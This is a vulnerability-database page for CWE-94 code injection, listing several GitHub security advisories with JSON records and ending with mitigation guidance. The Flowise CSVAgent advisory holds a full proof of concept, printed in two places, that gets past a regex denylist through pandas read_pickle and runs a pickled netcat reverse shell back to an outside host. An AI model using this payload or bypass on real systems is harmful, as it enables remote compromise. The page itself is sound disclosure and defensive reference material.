CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
9914 vulnerabilities reference this CWE, most recent first.
GHSA-X6G8-R436-7QMG
Vulnerability from github – Published: 2022-05-14 02:33 – Updated: 2022-05-14 02:33The serialization functionality in Microsoft .NET Framework 2.0 SP2, 3.5, 3.5 SP1, 3.5.1, 4, and 4.5 does not properly check the permissions of delegate objects, which allows remote attackers to execute arbitrary code via (1) a crafted XAML browser application (XBAP) or (2) a crafted .NET Framework application that leverages a partial-trust relationship, aka "Delegate Serialization Vulnerability."
{
"affected": [],
"aliases": [
"CVE-2013-3171"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2013-07-10T03:46:00Z",
"severity": "HIGH"
},
"details": "The serialization functionality in Microsoft .NET Framework 2.0 SP2, 3.5, 3.5 SP1, 3.5.1, 4, and 4.5 does not properly check the permissions of delegate objects, which allows remote attackers to execute arbitrary code via (1) a crafted XAML browser application (XBAP) or (2) a crafted .NET Framework application that leverages a partial-trust relationship, aka \"Delegate Serialization Vulnerability.\"",
"id": "GHSA-x6g8-r436-7qmg",
"modified": "2022-05-14T02:33:57Z",
"published": "2022-05-14T02:33:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-3171"
},
{
"type": "WEB",
"url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2013/ms13-052"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A16867"
},
{
"type": "WEB",
"url": "http://www.us-cert.gov/ncas/alerts/TA13-190A"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-X6HJ-FJ57-58JM
Vulnerability from github – Published: 2026-09-08 21:34 – Updated: 2026-09-09 15:34A code execution vulnerability exists in CMSimple 5.22 in the CoAuthors plugin. An authenticated low-privileged user who can modify page content and provide controlled imported content can trigger server-side execution by referencing crafted external or uploaded text content through the affected content import feature.
{
"affected": [],
"aliases": [
"CVE-2026-78834"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-08T20:18:38Z",
"severity": "HIGH"
},
"details": "A code execution vulnerability exists in CMSimple 5.22 in the CoAuthors plugin. An authenticated low-privileged user who can modify page content and provide controlled imported content can trigger server-side execution by referencing crafted external or uploaded text content through the affected content import feature.",
"id": "GHSA-x6hj-fj57-58jm",
"modified": "2026-09-09T15:34:56Z",
"published": "2026-09-08T21:34:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78834"
},
{
"type": "WEB",
"url": "https://github.com/AEQ3/CVE/issues/1"
},
{
"type": "WEB",
"url": "https://gist.github.com/AEQ3/574cb644306776a9ff1a0de30b085e62"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-X6J3-2CG8-G68W
Vulnerability from github – Published: 2024-08-08 18:31 – Updated: 2024-08-10 18:30Diebold Nixdorf Vynamic Security Suite (VSS) before 3.3.0 SR16, 4.0.0 SR06, 4.1.0 SR04, 4.2.0 SR03, and 4.3.0 SR01 fails to validate symlinks during the Pre-Boot Authorization (PBA) process. This can be exploited by a physical attacker who is able to manipulate the contents of the system's hard disk.
{
"affected": [],
"aliases": [
"CVE-2023-33206"
],
"database_specific": {
"cwe_ids": [
"CWE-354",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-08T18:15:09Z",
"severity": "HIGH"
},
"details": "Diebold Nixdorf Vynamic Security Suite (VSS) before 3.3.0 SR16, 4.0.0 SR06, 4.1.0 SR04, 4.2.0 SR03, and 4.3.0 SR01 fails to validate symlinks during the Pre-Boot Authorization (PBA) process. This can be exploited by a physical attacker who is able to manipulate the contents of the system\u0027s hard disk.",
"id": "GHSA-x6j3-2cg8-g68w",
"modified": "2024-08-10T18:30:32Z",
"published": "2024-08-08T18:31:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-33206"
},
{
"type": "WEB",
"url": "https://media.defcon.org/DEF%20CON%2032/DEF%20CON%2032%20presentations/DEF%20CON%2032%20-%20Matt%20Burch%20-%20Where%E2%80%99s%20the%20Money%20-%20Defeating%20ATM%20Disk%20Encryption-white%20paper.pdf"
},
{
"type": "WEB",
"url": "https://www.dieboldnixdorf.com/en-us/banking/portfolio/software/security"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-X6JJ-7MW4-R7FV
Vulnerability from github – Published: 2022-05-17 02:58 – Updated: 2022-05-17 02:58Packages.php in Simple Machines Forum (SMF) 2.1 allows remote attackers to conduct PHP object injection attacks and execute arbitrary PHP code via the themechanges array parameter.
{
"affected": [],
"aliases": [
"CVE-2016-5726"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-02-09T15:59:00Z",
"severity": "CRITICAL"
},
"details": "Packages.php in Simple Machines Forum (SMF) 2.1 allows remote attackers to conduct PHP object injection attacks and execute arbitrary PHP code via the themechanges array parameter.",
"id": "GHSA-x6jj-7mw4-r7fv",
"modified": "2022-05-17T02:58:00Z",
"published": "2022-05-17T02:58:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-5726"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2016/06/10/7"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2016/06/18/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-X6MC-VF2Q-PH77
Vulnerability from github – Published: 2024-10-21 21:30 – Updated: 2024-10-22 18:32A vulnerability in the Web Interface component of Mitel MiCollab through 9.8 SP1 (9.8.1.5) and MiVoice Business Solution Virtual Instance (MiVB SVI) through 1.0.0.27 could allow an authenticated attacker to conduct a command injection attack, due to insufficient parameter sanitization. A successful exploit could allow an attacker to execute arbitrary commands with elevated privileges within the context of the system.
{
"affected": [],
"aliases": [
"CVE-2024-41714"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-21T21:15:06Z",
"severity": "HIGH"
},
"details": "A vulnerability in the Web Interface component of Mitel MiCollab through 9.8 SP1 (9.8.1.5) and MiVoice Business Solution Virtual Instance (MiVB SVI) through 1.0.0.27 could allow an authenticated attacker to conduct a command injection attack, due to insufficient parameter sanitization. A successful exploit could allow an attacker to execute arbitrary commands with elevated privileges within the context of the system.",
"id": "GHSA-x6mc-vf2q-ph77",
"modified": "2024-10-22T18:32:11Z",
"published": "2024-10-21T21:30:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41714"
},
{
"type": "WEB",
"url": "https://www.mitel.com/support/security-advisories/mitel-product-security-advisory-24-0021"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-X6MH-4W8X-P34V
Vulnerability from github – Published: 2025-12-12 18:30 – Updated: 2025-12-12 22:13Insecure permissions in the scheduled tasks feature of MineAdmin v3.x allows attackers to execute arbitrary commands and execute a full account takeover.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "mineadmin/mineadmin"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.0.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-65854"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-12T22:13:22Z",
"nvd_published_at": "2025-12-12T16:15:44Z",
"severity": "CRITICAL"
},
"details": "Insecure permissions in the scheduled tasks feature of MineAdmin v3.x allows attackers to execute arbitrary commands and execute a full account takeover.",
"id": "GHSA-x6mh-4w8x-p34v",
"modified": "2025-12-12T22:13:22Z",
"published": "2025-12-12T18:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65854"
},
{
"type": "WEB",
"url": "https://gist.github.com/SourByte05/1a6c6b08ac47c5d58eb7dd4422cc23b7"
},
{
"type": "WEB",
"url": "https://github.com/mineadmin/mine-core/blob/7994da7f5cd0778eb9aadd550c50c259cc1d1048/src/Command/InstallProjectCommand.php#L123"
},
{
"type": "PACKAGE",
"url": "https://github.com/mineadmin/mineadmin"
},
{
"type": "WEB",
"url": "http://mineadmin.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "MineAdmin has an insecure default password"
}
GHSA-X6PP-PCHX-WVC7
Vulnerability from github – Published: 2024-06-24 15:31 – Updated: 2024-06-24 15:31Improper Control of Generation of Code ('Code Injection') vulnerability in Membership Software WishList Member X allows Code Injection.This issue affects WishList Member X: from n/a through 3.25.1.
{
"affected": [],
"aliases": [
"CVE-2024-37109"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-24T13:15:10Z",
"severity": "CRITICAL"
},
"details": "Improper Control of Generation of Code (\u0027Code Injection\u0027) vulnerability in Membership Software WishList Member X allows Code Injection.This issue affects WishList Member X: from n/a through 3.25.1.",
"id": "GHSA-x6pp-pchx-wvc7",
"modified": "2024-06-24T15:31:44Z",
"published": "2024-06-24T15:31:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37109"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/wishlist-member-x/wordpress-wishlist-member-x-plugin-3-25-1-authenticated-arbitrary-php-code-execution-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-X6Q7-3R54-HVF2
Vulnerability from github – Published: 2023-12-18 18:30 – Updated: 2023-12-18 18:30Cambium ePMP Force 300-25 version 4.7.0.1 is vulnerable to a code injection vulnerability that could allow an attacker to perform remote code execution and gain root privileges.
{
"affected": [],
"aliases": [
"CVE-2023-6691"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-18T18:15:08Z",
"severity": "HIGH"
},
"details": "\nCambium ePMP Force 300-25 version 4.7.0.1 is vulnerable to a code injection vulnerability that could allow an attacker to perform remote code execution and gain root privileges.\n\n\n\n\n",
"id": "GHSA-x6q7-3r54-hvf2",
"modified": "2023-12-18T18:30:21Z",
"published": "2023-12-18T18:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6691"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-23-348-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-X6RR-6P9V-45M4
Vulnerability from github – Published: 2024-03-27 03:31 – Updated: 2024-03-27 03:31Authenticated List control client can execute the LINQ query in SCM Server to present event as list for operator. An authenticated malicious client can send special LINQ query to execute arbitrary code remotely (RCE) on the SCM Server that an attacker otherwise does not have authorization to do.
{
"affected": [],
"aliases": [
"CVE-2024-2097"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-27T03:15:12Z",
"severity": "HIGH"
},
"details": "Authenticated List control client can execute the LINQ query in SCM Server to present event as list for operator. An authenticated malicious client can send special LINQ query to execute arbitrary code remotely (RCE) on the SCM Server that an attacker otherwise does not have authorization to do.",
"id": "GHSA-x6rr-6p9v-45m4",
"modified": "2024-03-27T03:31:17Z",
"published": "2024-03-27T03:31:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-2097"
},
{
"type": "WEB",
"url": "https://publisher.hitachienergy.com/preview?DocumentId=8DBD000189\u0026languageCode=en\u0026Preview=true"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-X6VM-W76M-8J7G
Vulnerability from github – Published: 2026-08-04 15:46 – Updated: 2026-08-04 17:47Summary
The CSVAgent node was observed to allow users to write Python code which gets executed via pyodide. The original intent was to allow users to utilise the pandas library for CSV processing. Although there is a denylist that checks for dangerous Python constructs from being passed in, pandas has a read_pickle() function that deserialises a pickled payload and this can be leveraged to achieve code execution.
Details
The affected file is the CSVAgent node, found in: flowise-components/nodes/agents/CSVAgent/CSVAgent.ts.
try {
const code = `import pandas as pd
import base64
from io import StringIO
import json
base64_string = "${base64String}"
decoded_data = base64.b64decode(base64_string)
csv_data = StringIO(decoded_data.decode('utf-8'))
df = pd.${customReadCSVFunc} <1>
my_dict = df.dtypes.astype(str).to_dict()
print(my_dict)
json.dumps(my_dict)`
dataframeColDict = await pyodide.runPythonAsync(code)
} catch (error) {
throw new Error(error)
}
At <1>, the customReadCSVFunc is supplied by the user. This input goes through input validation that denies dangerous Python constructs from being passed in:
const FORBIDDEN_PATTERNS: Array<{ pattern: RegExp; reason: string }> = [
// Imports (the executor pre-imports pandas and numpy; LLM code must not add any imports)
{ pattern: /\bfrom\s+\S+\s+import\b/g, reason: 'import statement (from...import)' },
{ pattern: /\bimport\b/g, reason: 'import statement (all imports forbidden; pandas and numpy are pre-imported by the executor)' },
// Dangerous builtins
{ pattern: /\beval\s*\(/g, reason: 'eval()' },
{ pattern: /\bexec\s*\(/g, reason: 'exec()' },
{ pattern: /\bcompile\s*\(/g, reason: 'compile()' },
{ pattern: /\b__import__\s*\(/g, reason: '__import__()' },
{ pattern: /\bopen\s*\(/g, reason: 'open()' },
{ pattern: /\bbreakpoint\s*\(/g, reason: 'breakpoint()' },
{ pattern: /\binput\s*\(/g, reason: 'input()' },
{ pattern: /\braw_input\s*\(/g, reason: 'raw_input()' },
{ pattern: /\bglobals\s*\(/g, reason: 'globals()' },
{ pattern: /\blocals\s*\(/g, reason: 'locals()' },
{ pattern: /\bgetattr\s*\(/g, reason: 'getattr()' },
{ pattern: /\bsetattr\s*\(/g, reason: 'setattr()' },
{ pattern: /\bdelattr\s*\(/g, reason: 'delattr()' },
{ pattern: /\breload\s*\(/g, reason: 'reload()' },
{ pattern: /\bfile\s*\(/g, reason: 'file()' },
{ pattern: /\bexecfile\s*\(/g, reason: 'execfile()' },
// Dangerous modules / attributes
{ pattern: /\bos\./g, reason: 'os module' },
{ pattern: /\bsubprocess\./g, reason: 'subprocess module' },
{ pattern: /\bsys\./g, reason: 'sys module' },
{ pattern: /\bsocket\./g, reason: 'socket module' },
{ pattern: /\burllib\./g, reason: 'urllib module' },
{ pattern: /\brequests\./g, reason: 'requests module' },
{ pattern: /\b__builtins__\b/g, reason: '__builtins__' },
{ pattern: /\b__loader__\b/g, reason: '__loader__' },
{ pattern: /\b__spec__\b/g, reason: '__spec__' },
{ pattern: /\b__class__\b/g, reason: '__class__ (reflection)' },
{ pattern: /\b__subclasses__\s*\(/g, reason: '__subclasses__()' },
{ pattern: /\b__bases__\b/g, reason: '__bases__' },
{ pattern: /\b__mro__\b/g, reason: '__mro__' },
{ pattern: /\b__globals__\b/g, reason: '__globals__' },
{ pattern: /\b__code__\b/g, reason: '__code__' },
{ pattern: /\b__closure__\b/g, reason: '__closure__' },
{ pattern: /\bvars\s*\(/g, reason: 'vars()' },
{ pattern: /\bdir\s*\(/g, reason: 'dir()' },
{ pattern: /\b__dict__\b/g, reason: '__dict__ (attribute reflection)' },
{ pattern: /\b__module__\b/g, reason: '__module__ (module reflection)' }
]
However, by using pandas.read_pickle(), an attacker can achieve code execution without hitting any of the denied words.
PoC
First, generate a pickled payload that performs an OS command (replace the IP and port with your listening IP and port):
import pickle
import base64
import os
class Exploit:
def __reduce__(self):
return (os.system, ("/usr/bin/nc 172.17.0.1 13337 -e /bin/sh",))
payload = pickle.dumps(Exploit())
encoded = base64.b64encode(payload).decode()
print(encoded)
Run it and note the encoded payload to be used later:
$ python3 pickle-payload-poc.py
gASVQgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCcvdXNyL2Jpbi9uYyAxNzIuMTcuMC4xIDEzMzM3IC1lIC9iaW4vc2iUhZRSlC4=
- In the Flowise dashboard, navigate to Chatflows and create or modify an existing Chatflow.
- Drag a "CSV Agent" node onto the canvas.
- Click on "Additional Parameters" and fill in the following PoC:
isnull("")
class MiniBytesIO:
def __init__(self, b):
self.data = b
self.pos = 0
def read(self, n=-1):
if n == -1:
n = len(self.data) - self.pos
chunk = self.data[self.pos:self.pos+n]
self.pos += n
return chunk
def readline(self, n=-1):
if self.pos >= len(self.data):
return b""
next_nl = self.data.find(b"\\n", self.pos)
if next_nl == -1:
next_nl = len(self.data)
if n != -1:
next_nl = min(self.pos + n, next_nl)
line = self.data[self.pos:next_nl+1]
self.pos = next_nl + 1
return line
pd.read_pickle(MiniBytesIO(base64.b64decode("gASVQgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCcvdXNyL2Jpbi9uYyAxNzIuMTcuMC4xIDEzMzM3IC1lIC9iaW4vc2iUhZRSlC4=")))
The custom MiniBytesIO class needs to be included in order to deserialise the pickled payload, since read_pickle() expects a "str, path object, or file-like object". This is because we cannot use import to import BytesIO, nor open() to write to disk and read, and entering a URL does not work due to pyodide not having raw socket capabilities.
Save the chatflow, and obtain the UUID of this chatflow from the URL /canvas/<UUID>.
Open a listening shell on your specified port from your listening host, and send a POST request to the chatflow to trigger it and achieve code execution:
$ curl -X POST http://<TARGET>/api/v1/prediction/<UUID>
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.2"
},
"package": {
"ecosystem": "npm",
"name": "flowise-components"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.2"
},
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-69256"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-04T15:46:20Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\n\nThe CSVAgent node was observed to allow users to write Python code which gets executed via `pyodide`. The original intent was to allow users to utilise the `pandas` library for CSV processing. Although there is a denylist that checks for dangerous Python constructs from being passed in, `pandas` has a `read_pickle()` [function](https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html) that deserialises a pickled payload and this can be leveraged to achieve code execution.\n\n### Details\n\nThe affected file is the `CSVAgent` node, found in: `flowise-components/nodes/agents/CSVAgent/CSVAgent.ts`.\n\n```js\ntry {\n const code = `import pandas as pd\nimport base64\nfrom io import StringIO\nimport json\n\nbase64_string = \"${base64String}\"\n\ndecoded_data = base64.b64decode(base64_string)\n\ncsv_data = StringIO(decoded_data.decode(\u0027utf-8\u0027))\n\ndf = pd.${customReadCSVFunc} \u003c1\u003e\nmy_dict = df.dtypes.astype(str).to_dict()\nprint(my_dict)\njson.dumps(my_dict)`\n dataframeColDict = await pyodide.runPythonAsync(code)\n} catch (error) {\n throw new Error(error)\n}\n```\n\nAt \u003c1\u003e, the `customReadCSVFunc` is supplied by the user. This input goes through input validation that denies dangerous Python constructs from being passed in:\n\n```py\nconst FORBIDDEN_PATTERNS: Array\u003c{ pattern: RegExp; reason: string }\u003e = [\n // Imports (the executor pre-imports pandas and numpy; LLM code must not add any imports)\n { pattern: /\\bfrom\\s+\\S+\\s+import\\b/g, reason: \u0027import statement (from...import)\u0027 },\n { pattern: /\\bimport\\b/g, reason: \u0027import statement (all imports forbidden; pandas and numpy are pre-imported by the executor)\u0027 },\n // Dangerous builtins\n { pattern: /\\beval\\s*\\(/g, reason: \u0027eval()\u0027 },\n { pattern: /\\bexec\\s*\\(/g, reason: \u0027exec()\u0027 },\n { pattern: /\\bcompile\\s*\\(/g, reason: \u0027compile()\u0027 },\n { pattern: /\\b__import__\\s*\\(/g, reason: \u0027__import__()\u0027 },\n { pattern: /\\bopen\\s*\\(/g, reason: \u0027open()\u0027 },\n { pattern: /\\bbreakpoint\\s*\\(/g, reason: \u0027breakpoint()\u0027 },\n { pattern: /\\binput\\s*\\(/g, reason: \u0027input()\u0027 },\n { pattern: /\\braw_input\\s*\\(/g, reason: \u0027raw_input()\u0027 },\n { pattern: /\\bglobals\\s*\\(/g, reason: \u0027globals()\u0027 },\n { pattern: /\\blocals\\s*\\(/g, reason: \u0027locals()\u0027 },\n { pattern: /\\bgetattr\\s*\\(/g, reason: \u0027getattr()\u0027 },\n { pattern: /\\bsetattr\\s*\\(/g, reason: \u0027setattr()\u0027 },\n { pattern: /\\bdelattr\\s*\\(/g, reason: \u0027delattr()\u0027 },\n { pattern: /\\breload\\s*\\(/g, reason: \u0027reload()\u0027 },\n { pattern: /\\bfile\\s*\\(/g, reason: \u0027file()\u0027 },\n { pattern: /\\bexecfile\\s*\\(/g, reason: \u0027execfile()\u0027 },\n // Dangerous modules / attributes\n { pattern: /\\bos\\./g, reason: \u0027os module\u0027 },\n { pattern: /\\bsubprocess\\./g, reason: \u0027subprocess module\u0027 },\n { pattern: /\\bsys\\./g, reason: \u0027sys module\u0027 },\n { pattern: /\\bsocket\\./g, reason: \u0027socket module\u0027 },\n { pattern: /\\burllib\\./g, reason: \u0027urllib module\u0027 },\n { pattern: /\\brequests\\./g, reason: \u0027requests module\u0027 },\n { pattern: /\\b__builtins__\\b/g, reason: \u0027__builtins__\u0027 },\n { pattern: /\\b__loader__\\b/g, reason: \u0027__loader__\u0027 },\n { pattern: /\\b__spec__\\b/g, reason: \u0027__spec__\u0027 },\n { pattern: /\\b__class__\\b/g, reason: \u0027__class__ (reflection)\u0027 },\n { pattern: /\\b__subclasses__\\s*\\(/g, reason: \u0027__subclasses__()\u0027 },\n { pattern: /\\b__bases__\\b/g, reason: \u0027__bases__\u0027 },\n { pattern: /\\b__mro__\\b/g, reason: \u0027__mro__\u0027 },\n { pattern: /\\b__globals__\\b/g, reason: \u0027__globals__\u0027 },\n { pattern: /\\b__code__\\b/g, reason: \u0027__code__\u0027 },\n { pattern: /\\b__closure__\\b/g, reason: \u0027__closure__\u0027 },\n { pattern: /\\bvars\\s*\\(/g, reason: \u0027vars()\u0027 },\n { pattern: /\\bdir\\s*\\(/g, reason: \u0027dir()\u0027 },\n { pattern: /\\b__dict__\\b/g, reason: \u0027__dict__ (attribute reflection)\u0027 },\n { pattern: /\\b__module__\\b/g, reason: \u0027__module__ (module reflection)\u0027 }\n]\n```\n\nHowever, by using `pandas.read_pickle()`, an attacker can achieve code execution without hitting any of the denied words.\n\n### PoC\n\nFirst, generate a pickled payload that performs an OS command (replace the IP and port with your listening IP and port):\n\n```py\nimport pickle\nimport base64\nimport os\n\nclass Exploit:\n def __reduce__(self):\n return (os.system, (\"/usr/bin/nc 172.17.0.1 13337 -e /bin/sh\",))\n\npayload = pickle.dumps(Exploit())\nencoded = base64.b64encode(payload).decode()\nprint(encoded)\n```\n\nRun it and note the encoded payload to be used later:\n\n```bash\n$ python3 pickle-payload-poc.py\n\ngASVQgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCcvdXNyL2Jpbi9uYyAxNzIuMTcuMC4xIDEzMzM3IC1lIC9iaW4vc2iUhZRSlC4=\n```\n\n1. In the Flowise dashboard, navigate to Chatflows and create or modify an existing Chatflow.\n2. Drag a \"CSV Agent\" node onto the canvas.\n3. Click on \"Additional Parameters\" and fill in the following PoC:\n\n```py\nisnull(\"\")\nclass MiniBytesIO:\n def __init__(self, b):\n self.data = b\n self.pos = 0\n def read(self, n=-1):\n if n == -1:\n n = len(self.data) - self.pos\n chunk = self.data[self.pos:self.pos+n]\n self.pos += n\n return chunk\n def readline(self, n=-1):\n if self.pos \u003e= len(self.data):\n return b\"\"\n next_nl = self.data.find(b\"\\\\n\", self.pos)\n if next_nl == -1:\n next_nl = len(self.data)\n if n != -1:\n next_nl = min(self.pos + n, next_nl)\n line = self.data[self.pos:next_nl+1]\n self.pos = next_nl + 1\n return line\npd.read_pickle(MiniBytesIO(base64.b64decode(\"gASVQgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCcvdXNyL2Jpbi9uYyAxNzIuMTcuMC4xIDEzMzM3IC1lIC9iaW4vc2iUhZRSlC4=\")))\n```\n\nThe custom `MiniBytesIO` class needs to be included in order to deserialise the pickled payload, since `read_pickle()` expects a \"str, path object, or file-like object\". This is because we cannot use `import` to import `BytesIO`, nor `open()` to write to disk and read, and entering a URL does not work due to `pyodide` not having raw socket capabilities.\n\nSave the chatflow, and obtain the UUID of this chatflow from the URL `/canvas/\u003cUUID\u003e`.\n\nOpen a listening shell on your specified port from your listening host, and send a POST request to the chatflow to trigger it and achieve code execution:\n\n```\n$ curl -X POST http://\u003cTARGET\u003e/api/v1/prediction/\u003cUUID\u003e\n```",
"id": "GHSA-x6vm-w76m-8j7g",
"modified": "2026-08-04T17:47:31Z",
"published": "2026-08-04T15:46:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-x6vm-w76m-8j7g"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/pull/6257"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/commit/c79fe56a6c249850e96bce9b4859f7a0083e4507"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Flowise: Remote Code Execution Vulnerability in CSVAgent"
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
